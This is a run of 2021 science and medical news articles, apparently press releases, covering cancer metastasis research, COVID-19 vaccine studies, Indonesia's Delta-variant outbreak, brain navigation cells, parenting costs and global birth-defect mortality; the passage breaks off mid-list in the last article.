The finding constitutes a first step towards the development of more targeted treatments, says Ivan Stamenkovic, professor of experimental pathology at the University Hospital Lausanne (CHUV) and co-author of the paper along with assistant professor Nicolo Riggi, also at CHUV. "Identifying the gene associated with the risk of metastases opens new avenues for research. The protein corresponding to this gene could be used as a potential therapeutic target in eliminating these very aggressive cells," says Stamenkovic.

Telltale glow

To achieve this result, the scientists first had to isolate the cells that form metastases. They took tumors from patients and grew them in conditions that mimic those of the human body to create organoids, i.e. tumor models. The researchers were then able to genetically modify the tumor cells by adding a gene that causes them to express a green fluorescent protein. This gene has been modified so that it can be suppressed by a very small RNA molecule (called microRNA) produced by the cells themselves. Because the cells that form metastases produce very little of this microRNA, they continue to express fluorescent protein. As a result, they appear bright and can be identified by their fluorescent color. "It's a tool that could be used in other types of tumors to understand the nature of aggressive cells," says Riggi.

Cancer cells are more tolerant

Ivan Stamenkovic's research project focuses on the mechanisms responsible for the formation and development of cancers. "In most cancers," says Stamenkovic, "the cells that spread are those that have retained certain properties of stem cells, unlike most of the cells that constitute the tumor mass. These stem-like cells, which are called upon to regenerate tissues, must be able to retain a high degree of flexibility. As a result, they are more tolerant of events such as genetic mutations, and thus more likely to transform into cancerous cells because their defenses are partially or totally suppressed."

Explore further Researchers identify how to prevent cancer metastases

More information: Tugba Keskin et al, A live single-cell reporter assay links intratumor heterogeneity to metastatic proclivity in Ewing sarcoma, Science Advances (2021). Journal information: Science Advances Tugba Keskin et al, A live single-cell reporter assay links intratumor heterogeneity to metastatic proclivity in Ewing sarcoma,(2021). DOI: 10.1126/sciadv.abf9394
Credit: Unsplash/CC0 Public Domain

A study shows for the first time that people with cirrhosis who receive mRNA COVID-19 vaccination gain important protection against more serious outcomes like hospitalization and death. At the same time, however, the vaccines offer less protection against SARS-CoV-2 infection and take longer to take effect in this population.

Before this research, published July 13 in JAMA Internal Medicine, how much protection the vaccines offered people with cirrhosis was unknown. Clinical trials of the vaccines excluded most people with cirrhosis and other chronic conditions.

So lead author Binu V. John, M.D., M.P.H., and his colleagues sought their own answers, speculating that cirrhosis immune dysregulation could alter vaccine response.

Their study reveals that "being vaccinated is associated with a 65% efficacy after one dose and about 78% efficacy at reducing COVID infection after the second dose," said Dr. John, affiliate associate professor at the University of Miami Miller School of Medicine and chief of hepatology at the Bruce W. Carter VA Medical Center in Miami.

Therefore, protection against infection is "probably lower than in a healthy population," Dr. John said. "Patients with cirrhosis who are vaccinated might still get the infection, but they are unlikely to die or get hospitalized with COVID-19."

Vaccinated vs. unvaccinated

The researchers compared 20,037 people with cirrhosis nationwide who received at least one dose of either the Pfizer or Moderna mRNA vaccine at the Veterans Health Administration. They compared infections and outcomes in this group to another 20,037 matched patients with cirrhosis and similar COVID-19 risks who were not vaccinated.

Vaccines were administered between December 18, 2020, and March 17, 2021. Interestingly, more than 99% of participants who were eligible to get a second dose within the CDC recommended six weeks of the first dose did so.

"That was very impressive," Dr. John said.

Another interesting finding was the timeline. There was no difference between the vaccinated and unvaccinated groups in the first 28 days after the first dose.

"The difference starts to kick in after 28 days. That's when you start to see fewer cases in the vaccine group and more in the unvaccinated group," Dr. John said. Clinicians who counsel people with cirrhosis might want to caution them about this delay in immune protection, he added.

Longer follow-up is needed

Vaccination was associated with 100% reduction in COVID-19 hospitalization and death after 28 days. No one died from COVID-19 in the vaccinated group compared to two deaths in the unvaccinated group, but a longer follow-up is needed to better study outcomes of death in this population.

There was a trend toward lower vaccine protection in people with decompensated cirrhosisdefined as people who experience symptoms from their liver not functioning properlycompared to those with compensated cirrhosis with good liver function. However, the number of decompensated patients was low, and the finding needs to be studied further. Dr. John credits collaboration and input from his co-authors, including Andrew Scheinberg, M.D., a fellow and one of his trainees, for publication in the prestigious journal.

"The synergy we have fostered between UM and the Miami VA is tremendous" he added. "It really helps to work closely together with collaborators at UM when you submit these papers."

The study is entitled "Association of BNT162b2 mRNA and mRNA-1273 Vaccines With COVID-19 Infection and Hospitalization Among Patients With Cirrhosis." In addition to UM and the Miami VA, co-author affiliations include Yale University, the West Haven VA, Virginia Commonwealth University, University of Pennsylvania, and the Philadelphia VA.

More information: Binu V. John et al, Association of BNT162b2 mRNA and mRNA-1273 Vaccines With COVID-19 Infection and Hospitalization Among Patients With Cirrhosis, JAMA Internal Medicine (2021). Journal information: JAMA Internal Medicine Binu V. John et al, Association of BNT162b2 mRNA and mRNA-1273 Vaccines With COVID-19 Infection and Hospitalization Among Patients With Cirrhosis,(2021). DOI: 10.1001/jamainternmed.2021.4325
Credit: Unsplash/CC0 Public Domain

Hospitals and other health care facilities should require their employees to be vaccinated against COVID-19, a coalition of seven organizations representing medical professionals said Tuesday.

"The COVID-19 vaccines in use in the United States have been shown to be safe and effective," said David Weber, a professor of medicine at the University of North Carolina, Chapel Hill, and lead author of the statement.

"By requiring vaccination as a condition of employment we raise levels of vaccination for healthcare personnel, improve protection of our patients, and aid in reaching community protection. As healthcare personnel, we're committed to these goals."

The statement was organized by the Society for Healthcare Epidemiology of America (SHEA) and signed by the Infectious Diseases Society of America and five other groups.

It followed an eight-week review of evidence on the three vaccines authorized for use in the United States, vaccination rates, and employment law.

According to a statement by SHEA, research prior to the pandemic showed that rates of routine vaccinations among healthcare providers were suboptimal.

"For flu vaccination, when healthcare employers instituted policies of influenza vaccination as a condition of employment, compliance rose to 94.4 percent compared to 69.6 percent in organizations without a requirement," it said.

Despite having among the highest supplies of vaccines in the world, the United States is struggling to convince the vaccine- hesitant to roll up their arms.

President Joe Biden had set a goal of at least partly vaccinating 70 percent of adults by July 4, and as of Tuesday, the figure was still only 67.7 percent.

A clear divide has emerged between parts of the country that voted for Biden, which have higher vaccine rates, and regions that voted for former president Donald Trump, which have lower rates.

At the same time, the Delta variant is now causing cases to surge in under vaccinated states, such as Louisiana.

The national seven-day-average of new cases was 21,420 on July 12, up from a 2021 low of 11,462 on June 20.

Deaths are also creeping up, but the rise is not as pronounced: the seven-day-average on July 12 was 194, up from a low of 151 on July 6.

The idea of vaccine mandates has sparked controversy in a nation that cherishes individual liberty, but these concerns need to be weighed against collective wellbeing, Gregory Poland, a professor of medicine and infectious diseases at Mayo Clinic in Minnesota told AFP.

Experts also stress that vaccine mandates have a long history in the United States stretching back all the way to smallpox mass inoculation of George Washington's forces in 1777.

Explore further Just 20 states reached Biden's July 4 vaccination goal

 2021 AFP
Indonesia is currently experiencing a massive spike in COVID-19 infection and deaths, as experts (including myself) have unfortunately been predicting.

The country recorded its largest single-day increase in new cases on July 13, with more than 47,000 infections.

And this is likely to be a huge undercount because too few people are getting tested.

The positivity ratethe percentage of people taking COVID tests who return a positive resultcurrently sits at 26%, according to Our World In Data, which indicates Indonesia is almost certainly missing many more cases. Local research found 44% of Jakarta residents had antibodies against the virus. Only 8% had actually been confirmed cases.

One reason for the low testing rates is a lack of access to COVID tests. Free tests are only available in health-care facilities for people with symptoms or who have been in contact with confirmed cases. The price private laboratories charge for COVID tests can be prohibitive.

What's gone wrong?

The central government had resisted lockdowns, despite the hospital system hitting crisis point, and has instead prioritized keeping the economy open.

Over the past 16 months, health authorities have struggled to implement contact tracing systems, where people who may have come in contact with the virus are asked to isolate to stop them spreading the virus.

The government has downplayed the pandemic since the beginning, both underestimating the risk in its pandemic planning, and understating the harms in its public communication. There has been little transparency and poor public communication about the disease.

These shortcomings have put Indonesia in an extremely vulnerable position. The islands of Java and Bali in particular are seeing record-breaking numbers of new cases and deaths.

The faster-spreading Delta variant is playing a significant role. Genomic analysis shows Delta has displaced other SARS-CoV-2 variants which first circulated in Indonesia.

What has the government done so far?

On July 1, the government announced a semi-lockdown for Java and Bali. Under the restrictions, all employees in non-essential industries must work from home, while 50% of employees in essential industries, including finance, can work in an office.

Critical sectors, such as health facilities and food outlets, may operate with total capacity on-site. Shopping malls must close, and grocery stores and supermarkets can operate until 8pm daily at 50% capacity. Food outlets can only offer takeaway or delivery services.

Public transport may operate at 70% capacity. Air and long-distance bus and train travelers must produce a vaccine card indicating at least one dose of a COVID vaccine.

Face masks are mandatory in public areas.

Authorities have instructed security forces to enforce the protocols.

On July 7, these restrictions were expanded to all other parts of the country.

A large part of the current strategy focuses on COVID vaccination. By the end of June the country was administering one million vaccine doses a day, and has maintained a similar rate since then.

But Indonesia currently lacks a robust system of testing, contact tracing and isolating, which should be the main strategy in dealing with a pandemic; the goal of restrictions should be to supplement and strengthen this strategy.

When it will reach the peak?

Based on my calculations, if the restrictions and mask mandates are adhered to, I estimate COVID cases in Indonesia could peak in late July or early August, with new case numbers rising to 200,000 a day.

But if restrictions are ineffective, we could see up to 400,000 new daily cases at the peak.

I base these projections on a few factors. I start with the assumption that reported cases are a massive undercount. Then I use an estimate of the spreading rate of COVID under certain assumptions, including whether or not restrictions are adhered to.

I also use the number of reported deaths and work backwards to estimate how many cases are likely to have caused that many deaths. For example, over the last few days Indonesia has recorded around 1,000 deaths per day. Deaths lag cases, so let's look at new daily cases from three weeks agothey were around 15,000 a day. But if we assume a case fatality rate of around 2%, that means 1,000 deaths could translate to 50,000 cases. Because reported deaths are likely to be an undercount too, that figure could be more like 100,000 cases. So the real number of cases could be three to six times higher than reported cases. And that was three weeks ago.

Some scary scenarios for Indonesia in @korantempo today: Griffith Uni's @drdickybudiman expects the situation to worsen until sometime in August. IHME says worst case scenario over 1 million cases per day. pic.twitter.com/SbyC66Q4pn  Ross Tapsell (@RossTapsell) July 7, 2021

I also estimate the number of deaths each day will peak at the end of July or early August, with 1,000 to 2,300 deaths per day. The number of people in hospital and ICUs could reach 93,000 and 20,000 per day, respectively.

What challenges must be overcome?

The Indonesian government faces a number of challenges in controlling the COVID crisis.

Some parts of Indonesia are densely populated, including the COVID epicenters Java, Bali and Madura, which makes it easier for the virus to spread. Therefore, the success of Indonesia's pandemic control will depend on how the government handles the situation on these islands.

Hospitals are increasingly becoming overwhelmed with some running out of oxygen.

Other challenges include regional disparities in COVID vaccination rates, the spread of false COVID information, vaccine hesitancy, a lack of universal access to clean water, low immunization coverage among children, and the poor socioeconomic status of most of the population.

This makes it difficult for the government to apply stricter public health measures to contain the virus, as we've seen in more socioeconomically advantaged countries.

Australia's role

As a high GDP country which has been successful in suppressing COVID, Australia has an obligation to help protect Indonesia and the region by providing international aid.

Last week Australia announced a support package, with 2.5 million AstraZeneca vaccines, along with oxygen supplies, rapid testing kits, and ventilators.

Bilateral and regional cooperation is essential during the COVID crisis; no country can be safe until all countries are safe.

This article is republished from The Conversation under a Creative Commons license. Read the original article.
Workers in protective suits carry a coffin containing the body of a COVID-19 victim to a grave for a burial at Cipenjo cemetery in Bogor, West Java, Indonesia, Wednesday, July 14, 2021. The world's fourth most populous country has been hit hard by an explosion of COVID-19 cases that have strained hospitals on the main island of Java.Credit: AP Photo/Achmad Ibrahim

Indonesia reported more than 54,000 new coronavirus cases for the first time Wednesday, surpassing recent daily infections in India, whose disastrous outbreak is declining, and becoming Asia's new virus hotspot.

Officials fear that the more highly transmissible delta variant is now spreading from the islands of Java and Bali, where outbreaks prompted a partial lockdown that closed places of worship, malls, parks and restaurants.

"I predict the outbreak will increase continuously in July as we are not able yet to prevent the spread of infections," epidemiology expert Pandu Riono at the University of Indonesia said Wednesday. "Emergency social restrictions are still inadequate. They should be twice as stringent since we are facing the delta variant, which is two times more contagious."

The Health Ministry reported 54,517 new cases and 991 deaths on Wednesday, bringing the number of confirmed cases since the pandemic began above 2.6 million and the number of confirmed fatalities to more than 69,000.

A month ago, daily cases were running at about 8,000.

Reported daily cases in Indonesia are now higher than in India, despite Indonesia having far less testing by population.

India reported fewer than 39,000 cases on Wednesday, far below its peak of more than 400,000 daily cases in May, following lockdowns in its worst-hit areas and a stepped-up vaccination drive.

Workers in protective suits prepare to lower a coffin containing the body of a COVID-19 victim into a grave at Cipenjo cemetery in Bogor, West Java, Indonesia, Wednesday, July 14, 2021. The world's fourth most populous country has been hit hard by an explosion of COVID-19 cases that have strained hospitals on the main island of Java.Credit: AP Photo/Achmad Ibrahim

Indonesian Health Minister Budi Gunadi Sadikin said the government has identified the spread of the delta variant in some regions outside Java and Bali.

He told lawmakers on Tuesday that across the country, more than 90,000 of the 120,000 hospital beds for COVID-19 patients are occupied.

"Nationally, we still have some room. But the bed occupancy rate is very high in some provinces where the explosion of the delta variant is concentrated," Sadikin said.

With the increase in deaths over the past month, some residents near Jakarta have begun helping overburdened gravediggers.

"As the diggers are too tired and do not have enough resources to dig, the residents in my neighborhood decided to help," said Jaya Abidin, who lives in Bogor on the outskirts of the capital. "Because if we do not do this, we will have to wait in turn a long time for a burial in the middle of the night."

A gravedigger prepares a grave for a COVID-19 victim at Cipenjo cemetery in Bogor, West Java, Indonesia, Wednesday, July 14, 2021. The world's fourth most populous country has been hit hard by an explosion of COVID-19 cases that have strained hospitals on the main island of Java.Credit: AP Photo/Achmad Ibrahim

The government is struggling to acquire enough vaccines to reach its target of inoculating more than 181 million of its 270 million people by March 2022. So far, only 15.6 million people have been fully vaccinated.

So far, the world's fourth-most populous country has secured 137.6 million doses of Sinovac, AstraZeneca and Moderna vaccines, enough for about 69 million people.

Explore further Indonesia records its largest 1-day jump in COVID infections

 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Killer T cells surround a cancer cell. Credit: NIH

More doesn't necessarily mean betterincluding in cancer treatment.

University of Pittsburgh School of Medicine and University of Wisconsin-Madison scientists report today in Science Translational Medicine that combining targeted radiopharmaceutical therapy with immunotherapy significantly boosts eradication of metastatic cancer in mice, even when the radiation is given in doses too low to destroy the cancer outright.

"We're excitedwith such low doses of radiation, we didn't expect the response to be so positive," said lead author Ravi Patel, M.D., assistant professor at Pitt and radiation oncologist at UPMC Hillman Cancer Center. "In clinical trials, we tend to go with the maximum tolerable dose, the idea being that radiation kills the cancer and the more we give, the better. But in this study our concept is differentwe're not trying to destroy the tumor with radiation. We're trying to trigger the immune system to kill the cancer."

Immunotherapy has revolutionized cancer treatment by helping patients' immune systems fight off cancer. But some patients develop resistance to current immunotherapies and others have cancers characterized by immunologically "cold" tumors, which evade or suppress the patient's immune response against his or her cancer.

In these cases, oncologists have found that external beam radiotherapy (EBRT)where a patient is placed in a carefully calibrated machine that aims a beam of radiation directly at their tumorcan help turn "cold" or resistant tumors into "hot" tumors in which the immunotherapy treatments work better.

EBRT cannot typically be delivered to all tumor sites in patients whose cancer has metastasizedor spread to other parts of their bodybecause distant tumors can be too small, plentiful and diffuse for the patient to tolerate so much radiation. In those cases, targeted radionuclide therapy can be an option. This treatment approach uses a radioactive element that is linked with a cancer-targeting molecule and given through an intravenous infusion, delivering radiation directly to the cancer cells.

Patel and senior author Zachary Morris, M.D., Ph.D., associate professor of human oncology in the University of Wisconsin School of Medicine and Public Health, and their colleagues designed a study to give mice with immunologically cold metastatic cancers varying doses of targeted radionuclide therapy alongside immunotherapy.

"Because radiation from a targeted radionuclide therapy, if given at too high of a dose or at the wrong time, could kill or damage the tumor-infiltrating immune cells that we ultimately want to destroy these tumors, it was critical to design these studies with a precise understanding of the radiotherapy dose and the time over which this would be emitted in the tumor," Morris said.

For this, Patel and Morris worked closely with a team of medical physicists led by Bryan Bednarz, Ph.D., professor of medical physics in the University of Wisconsin-Madison. By obtaining serial images of the radiation emitted by a targeted radionuclide therapy, this group was able to determine how much and when radiation would be delivered to a tumor and to other normal tissues.

To their surprise, the mice given doses much too low to kill the cancer when given alone were the ones that were cured of these cancers when given together with immunotherapy.

Instead of destroying the tumors, Patel said, the low-dose radiation was "stressing cells in the tumor," stimulating the kind of response that the immune system typically produces to an infection. Boosted by the immunotherapy, the immune cells attacked the cancer cells that had been damaged by the radiotherapy.

Additionally, when tumor cells were reintroduced to the mice cured by the combination therapy, they quickly fought them off and did not develop cancer again.

"Treating with low-dose radiotherapy and immunotherapy eradicated their cancer, and it also acted as a sort of anti-cancer vaccine, preventing the mice from getting this type of cancer again," Patel said.

In addition to the mouse studies, the physician-scientists worked together with David Vail, D.V.M., at the University of Wisconsin School of Veterinary Medicine, and tried the combination of targeted radionuclide therapy and immunotherapy as a treatment in pet dogs who had naturally occurring metastatic cancer. The dogs tolerated this treatment combination well, without toxic side effects.

In both animal studies, the researchers used a novel agent that can target nearly any type of cancer, including tumors at any location within the body. This agent was developed by one of the co-authors, Jamey Weichert, Ph.D., professor of radiology at the University of Wisconsin School of Medicine and Public Health, in collaboration with co-author Reinier Hernandez, Ph.D., assistant professor of medical physics at the University of Wisconsin-Madison. A Madison-based start-up company, Archeus Technologies, is now completing studies needed to apply for approval from the U.S. Food & Drug Administration to begin testing this agent in human clinical trials.

"Human clinical trials are needed in order to develop our finding into a new standard of care," said Patel. "In the meantime, the concept of this approach can be tested in humans now, using approved radiotherapies designed to target specific types of cancer."

Explore further A new way to help the immune system fight back against cancer

More information: R.B. Patel at University of Pittsburgh Hillman Cancer Center in Pittsburgh, PA el al., "Low-dose targeted radionuclide therapy renders immunologically cold tumors responsive to immune checkpoint blockade," Science Translational Medicine (2021). Journal information: Science Translational Medicine R.B. Patel at University of Pittsburgh Hillman Cancer Center in Pittsburgh, PA el al., "Low-dose targeted radionuclide therapy renders immunologically cold tumors responsive to immune checkpoint blockade,"(2021). stm.sciencemag.org/lookup/doi/  scitranslmed.abb3631
Credit: CC0 Public Domain

A previously unknown kind of human brain cell appears to help people center themselves in their personal maps of the world, according to a new study from neuroscientists at Columbia Engineering. This discovery sheds light on the cellular mechanisms underlying navigation and memory in humans, as well as what parts of the brain might get disrupted during the kinds of memory impairments common in neurodegenerative diseases such as Alzheimer's.

There are two strategies with which humans and animals navigate and orient themselves. One involves locating places, distances and directions in "allocentric" or other-centered frames of reference rooted in the external world. The other strategy involves "egocentric" frames of reference that are centered on the self.

Whenever you use a mobile phone app to find driving directions, it will likely employ both these modes of navigation. When you first type in an address, it will normally show you the address on a map from an allocentric perspective, with 'north' at the top and 'south' at the bottom. When you then go to route view, it will switch to an egocentric perspective where 'ahead' is at the top and 'behind' is at the bottom.

Scientists first discovered brain cells linked with allocentric frames of reference in rats in 1971"place cells" that may, for example, indicate that one is located in the northeast corner of an area. Other allocentric spatial cell types include head-direction cells that may activate whenever one is navigating south, or border cells that may respond when a boundary is located to the west.

In the past decade, researchers began investigating how rat brains mapped egocentric frames of reference. Two years ago, scientists at Dartmouth College in Hanover, New Hampshire, identified a brain region in rats called the postrhinal cortex in which egocentrically tuned cells are abundant. However, it remained poorly understood what brain cells formed the basis of egocentric spatial maps in humans.

"In humans it is only rarely possible to directly record the activity of single neurons from the brain, due to ethical reasons," said Lukas Kunz, a postdoctoral research scientist at Columbia University's Department of Biomedical Engineering and first author of the new study. "There are techniques like fMRI or EEG, which allow us to indirectly measure neural activity from healthy human brains, but this neural activity reflects the sum activity of millions of neurons, which does not allow for direct conclusions about the working principles of single neurons."

In the new study, neuroscientists from the United States and Germany investigated 15 epilepsy patients at the University of Freiburg's Medical Center in Germany. These volunteers were implanted with electrodes to help doctors monitor their disorder.

The researchers asked the volunteers to perform computer tasks that explored their ability to navigate through virtual environments and to remember where many different objects were located there. At the same time, the scientists recorded the activity of more than 1,400 single neurons in multiple brain regions across all the participants.

The scientists identified more than 160 neurons that behaved like egocentric spatial cell types, activating when specific parts of the virtual environment were ahead, behind, to the left, or to the right of the patients, or when points in space were close to or far away from the patients.

"We are now the first to report egocentric spatial cell types in humans," Kunz said. The scientists published their study, "A neural code for egocentric spatial maps in the human medial temporal lobe," in the journal Neuron on July 14, 2021.

These "egocentric bearing cells" likely encode spatial information on a mental map centered on each person. "This is presumably important for everyday life, when humans try to orient themselves in their environments and when they navigate along routes," said Joshua Jacobs, associate professor of biomedical engineering at Columbia Engineering and senior author of the study.

These egocentric bearing cells were particularly ample in the parahippocampal cortex, a region located deep within the brain that prior work suggested is the human equivalent of the rodent postrhinal cortex. Egocentric bearing cells comprised about 25% of all neurons in the parahippocampal cortex. "Previous studies had shown that patients with damage to this brain region are disoriented, presumably because their egocentric bearing cells were affected," Kunz said.

The researchers also found these egocentric bearing cells showed increases in activity when the patients used their memory to successfully recall the locations of objects they had found in the virtual environments. "This suggests these cells are not only relevant for navigation, but also play a role in correctly remembering past experiences," Kunz said.

"Memories consist of multiple different elements, such as a specific event, the place where the event happened, and the time when the event happened," Kunz said. "We believe that there are different neural systems for the different components of these memories. Egocentric bearing cells are presumably particularly involved in processing the spatial information of the memories."

These findings may illuminate what might go wrong in people with memory deficits, including patients with neurodegenerative diseases such as Alzheimer's. "Their egocentric bearing cells may not function correctly, or may have been destroyed for some reason, such as a stroke, a brain tumor, or dementia," Jacobs said.

These new findings do not answer how one might deal with such memory impairments. "There is still a lot of research to do before memory impairments can be treated successfully," Kunz cautioned.

In the future, the researchers want to see why exactly any given egocentric bearing cell is tuned to whatever point in space it is focused on. Currently, Kunz and his colleagues assume that multiple different spatial cues, such as objects, spatial boundaries and landmarks, combine to influence the position of these reference points. The scientists can examine the influence these cues have on the location of these reference points by removing these cues from environments during experiments.

"Another important question is how egocentric bearing cells interact with allocentric spatial cell types, Kunz said. "We currently hypothesize that egocentric bearing cells provide essential input to allocentric spatial cell types. By understanding this, future studies could explain how the tuning of allocentric spatial cell types is influenced by the functioning of egocentric bearing cells."

The study is titled "A neural code for egocentric spatial maps in the human medial temporal lobe."

Explore further Knowing where the center of a space is helps inform spatial awareness

More information: "A neural code for egocentric spatial maps in the human medial temporal lobe" Neuron (2021). Journal information: Neuron "A neural code for egocentric spatial maps in the human medial temporal lobe"(2021). DOI: 10.1016/j.neuron.2021.06.019
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The results of a study by an international scientific team co-led by the Translational Genomics Research Institute (TGen), an affiliate of City of Hope, suggest thatlike pouring water atop a wellhead before pumpingthe airway cells of patients with chronic lung diseases are "primed" for infection by the COVID-19 virus, resulting in more severe symptoms, poorer outcomes and a greater likelihood of death.

The studypublished today in Nature Communicationsdetails the genetic changes caused by chronic lung disease in the molecular makeup of a variety of cells, including the epithelial cells that line the lung and airways. The study details how those changes can help enable SARS-CoV-2, the virus that causes COVID-19, to enter the body, replicate and trigger an out-of-control immune response that fills the lungs with fluids and often results in patients needing respirators and lengthy hospitalizations.

The team used single-cell RNA sequencing technology to spell out the genetic code of 611,398 cells from various data bases, representing those with both healthy (control) lungs and those with chronic lung disease. Sequencing and analysis allowed researchers to identify molecular characteristics that may account for worse COVID-19 outcomes.

"Our results suggest that patients with chronic lung disease are molecularly primed to be more susceptible to infection by SARS-CoV-2," said Nicholas Banovich, Ph.D., an Associate Professor in TGen's Integrated Cancer Genomics Division, and one of the study's senior authors. Dr. Banovich is a leading participant in the Human Cell Atlas Lung Biological Network, whose dozens of members, representing more than 80 institutions worldwide, also contributed to this study.

In addition, older-age, male-gender, smoking, and comorbidities such as high blood pressure, obesity and diabetes, are all COVID-19 risk factors that are exacerbated by chronic lung diseases, such as Chronic Obstructive Pulmonary Disease (COPD), Interstitial Lung Disease (ILD), and especially Idiopathic Pulmonary Fibrosis (IPF), a progressive scaring and stiffening of the lung tissue.

"It was recognized early in the pandemic that patients with chronic lung diseases were at particularly high risk for severe COVID-19, and our goal was to gain insight into the cellular and molecular changes responsible for this," said Jonathan Kropski, M.D., Associate Professor of Medicine and Cell and Developmental Biology at Vanderbilt University Medical Center, and a co-senior author of the study.

Changes in lung cells and immune cells

Researchers specifically searched for changes in AT2 cells, a major lung epithelial cell type, focusing on cellular pathways and expression levels of genes associated with COVID-19. They established a "viral entry score," a composite of all genes associated with SARS-CoV-2, and found higher scores among cells from patients with chronic lung disease.

They also explored changes in immune cells and discovered dysregulated gene expression associated with hyper-inflammation and with sustained cytokine production, two signature symptoms of severe SARS-CoV-2 infection. So-called cytokine storms in COVID-19 patients unleash a cascade of immune cells that flood the lungs, causing severe organ damage.

"The genetic changes in immune cells, especially in specialized white blood cells known as T cells, may diminish the patient's immune response to viral infection and lead to higher risk of severe disease and poor outcomes in patients with chronic lung disease," said Linh Bui, Ph.D., a post-doctoral fellow in Dr. Banovich's lab, and one of the study's lead authors.

"Our data suggest that the immune microenvironment at both the molecular and cellular levels in lungs damaged by chronic diseases may promote severe COVID-19," Dr. Bui said.

Significant contributions to this study were made by: Vanderbilt University Medical Center, Yale School of Medicine, Harvard Medical School, Baylor College of Medicine, and the Department of Veterans Affairs Medical Center. Plus several institutes in the UK, including: London's Imperial College, Royal Brompton and Harefield National Health System Foundation Trust, Edinburgh University Medical School, and the Royal Infirmary of Edinburgh.

Explore further New research identifies key set of signals that control mucus production in the lung
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A recent study found that sensitive, responsive parentingspecifically in early childhoodhas a direct correlation with not only positive mental and physical health, but also financial benefits for families and society. Average costs for children raised by the most responsive parents are well under $3,000, compared to more than $30,000 for children raised by the least responsive parents.

The paper, titled "A Good Investment: Longer-term cost savings of sensitive parenting in childhood" was published in the Journal of Child Psychology and Psychiatry. Tom O'Connor, Ph.D., professor in the department of Psychiatry and director of the Wynne Center for Family Research at the University of Rochester Medical Center, was among the contributing authors for the article, which is the first study to focus on the analysis of the direct financial benefits for families that come from sensitive parenting.

Sensitive (or responsive) parenting is a style often described as heightened parental sensitivity and responsiveness to child distress, an affectionate and engaged style, and the use of firm rather than harsh discipline. Previous studies have associated sensitive parenting with improved cognitive outcomes for children.

"We have known for some time that the quality of early parenting is associated with behavioral health and physical health in children, as well as success in school and in the peer group," said O'Connor.

The study enrolled approximately 170 children and adolescents from two different sample groups, one at moderate-riskrecruited through anti-social behavior screening in primary schooland one at high-risk of poor outcomes who had previously been referred to child mental health clinics for anti-social behavior. The goal was to assess parental awareness of the child's needs, sensitivity to their signals, promotion of child play, and adoption of the child's point of view.

The study assessed and evaluated parental behavior across three different tasks, lasting approximately 20 minutes: Child-directed free play, parent-directed building task, and a tidy-up task. These interactions were then evaluated using the Coding of Attachment-Related Parenting (CARP) developed by O'Connor, an assessment of sensitive responding, positive and negative affect and mutuality in parent-child dyads of school-aged children through direct observation.

"Assessing parenting quality through observation is a better, less biased approach rather than asking parents about their own parenting behaviors on a questionnaire," said O'Connor. "We used the ratings of parenting behavior from individuals who were trained in how to rate behavior but had no other knowledge about the family. This kind of 'independent' prediction also distinguishes the study and makes the findings especially novel."

Results of the study showed the following:

Males who were at an older age, were eligible for free school meals, and who lacked sensitive parenting, all predicted greater total costs.

The difference in social, educational and healthcare costs between adolescents exposed to more sensitive care versus least sensitive care was estimated to be $27,595.53 (20,000).

Children whose parents' early sensitive parenting skills were in the best quartile cost a mean of $2,248.66 (1,629.73), per individual.

Children whose parents had sensitive parenting skills in the lowest quartile had an individual mean cost of $30,656.62 (22,218.54).

Costs were calculated in UK sterling because the study took place in the UK.

These total costs were spread across personal family spending and education, health, social and justice services. The cost difference remained significant (approximately 13-fold) after controlling for several potential confounders, including demographic variables; exposure to child abuse; and level of antisocial behavior in both childhood and adolescence, IQ, and attachment security.

"In this paper, we show for the first time that early parenting quality predicted financial costs associated with health, education and welfare approximately a decade later. That is, poor early parenting is 'costly' not only in terms of child health and well-being, but also in terms of actual financial burden," said O'Connor.

The direct return on investment when using sensitive parenting is that family savings are likely to increase as the child gets older. The use of sensitive parenting also predicts positive health, behavior and occupational outcomes in adulthood, while poor early parenting is "costly," not only in terms of child health and well-being, but also in terms of actual financial burden borne by the family.

Explore further The impacts of children's emotions and behavior on parenting

More information: Christian J. Bachmann et al, A good investment: longerterm cost savings of sensitive parenting in childhood, Journal of Child Psychology and Psychiatry (2021). Journal information: Journal of Child Psychology and Psychiatry Christian J. Bachmann et al, A good investment: longerterm cost savings of sensitive parenting in childhood,(2021). DOI: 10.1111/jcpp.13461
Credit: Pixabay/CC0 Public Domain

Survival for a baby born with a birth defectotherwise known as a congenital anomalyis a "post-code lottery", according to scientists from 74 countries.

A study published today in The Lancet, led by researchers from King's College London, examined the risk of mortality for nearly 4000 babies born with birth defects in 264 hospitals around the world. The study found babies born with birth defects involving the intestinal tract have a two in five chance of dying in a low-income country compared to one in five in a middle-income country and one in twenty in a high-income country.

Gastroschisis, a birth defect where the baby is born with their intestines protruding through a hole by the umbilicus has the greatest difference in mortality with 90% of babies dying in low-income countries compared with 1% in high-income countries. In high-income countries, most of these babies will be able to live a full life without disability.

Principal Investigator Dr. Naomi Wright is a Paediatric Surgery Registrar from King's College London who has devoted the last four years to studying these disparities in outcome. She said: "Geography should not determine outcomes for babies who have correctable surgical conditions. The Sustainable Development Goal to 'end preventable deaths in newborns and children under 5 years old by 2030' is unachievable without urgent action to improve surgical care for newborns in low- and middle-income countries."

Mr Andrew Leather, co-author and Director of the King's Centre for Global Health and Health Partnerships at King's College London said: "There needs to be a focus on improving surgical care for newborns in low- and middle-income countries globally. Over the last 25 years, while there has been great success in reducing deaths in children under 5 years by preventing and treating infectious diseases, there has been little focus on improving surgical care for babies and children and indeed the proportion of deaths related to surgical diseases continues to rise.

"Birth defects are now the 5th leading cause of death in children under 5 years of age globally, with most deaths occurring in the newborn period. Birth defects involving the intestinal tract have a particularly high mortality in low- and middle-income countries as many are not compatible with life without emergency surgical care after birth."

In high-income countries, most women receive an antenatal ultrasound scan to assess for birth defects. If identified, this enables the woman to give birth in a hospital with children's surgical care so the baby can receive help as soon as it is born. In low- and middle- income countries, babies with these conditions often arrive late to the children's surgical centre in a poor clinical condition. The study shows that babies who present to the children's surgical centre already septic with infection have a higher chance of dying.

Co-author Mr Niyi Ade-Ajayi, Paediatric Surgeon at King's College Hospital and Co-Chair of the International Affairs Committee of the British Association of Paediatric Surgeons added: "The study highlights the importance of perioperative care (the care received either side of the corrective operation or procedure) at the children's surgical centre. Babies treated at hospitals without access to ventilation and intravenous nutrition when needed had a higher chance of dying. Furthermore, not having skilled anaesthetic support and not using a surgical safety checklist at the time of operation were associated with a higher chance of death."

The team of researchers found that improving survival from these conditions in low- and middle-income countries involves three key elements:

1) improving antenatal diagnosis and delivery at a hospital with children's surgical care,

